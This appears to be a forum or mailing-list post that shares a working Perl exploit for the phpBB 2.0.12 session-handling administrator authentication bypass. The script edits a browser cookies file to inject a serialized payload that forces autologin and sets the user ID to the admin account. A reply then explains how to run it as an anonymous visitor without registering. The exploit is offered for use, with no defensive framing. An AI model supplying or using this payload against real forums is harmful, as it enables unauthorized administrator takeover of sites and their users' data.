phpBB 2.0.12 Session Handling Administrator Authentication Bypass

Just a simple Perl Script for this exploit.
I hope it is usefull for some of you


------------------------------------------------------------------------------------------------

#!/usr/bin/perl

# phpBB 2.0.12 Session Handling Administrator Authentication
# Bypass EXPLOIT
# written by phuket
#
# The discoverer of this bug is unknown, says "Paiserist" who wrote a C exploit
for this bug.
# http://packetstormsecurity.org/0503-exploits/phpbbsession.c
#
#

# I tested this code with Firefox on my linux box, I do not know if it works
with mozilla or on #windows
# $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look at
cookies.txt for the name of the cookie

# I wrote this exploit after reading "phpBB 2.0.12 Session Handling
Administrator Authentication #Bypass -SIMPLIFIED-" By PPC^Rebyte
# and it is based on his code
#
# Sorry for my bad english :/

$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];

open (FILE , '<'."$file" ) or die ('File does not exist') ; # path to your
cookies.txt file
@cookie= <FILE> ;
close FILE ;


$exploit =
"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
;

foreach $i (@cookie)
{
if ($i=~/$url/) {

$i
=~s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2 2%22%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?) %22%3B%7D/$exploit/
;
print "OK\n" ;
}

}

open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;

#greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and Invi ;)
#thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug :)
#phuket
----------------------------------------------------------------------------------------------

[Matthias]

Wesley aka PPC wrote:
>
> -----------------------------------
>
> phpBB 2.0.12 Session Handling
> Administrator Authentication
> Bypass EXPLOIT -SIMPLIFIED-
> - By PPC^Rebyte
>
> -----------------------------------
>
....
> 3* Preparation
> ______________
>
> 1. Register at forum?
>
> 2. Log in with account
> + UNCHECK "Log in automatically"
>
....

you do not need to register and login, if you browse on a forum
a ANONYMOUS (id=0) Session is opened and a Cookie created.

Now you must delete the phpbb2_sid cookie and write the exploit
code in the phpbb2_data cookie.

So you don't must login.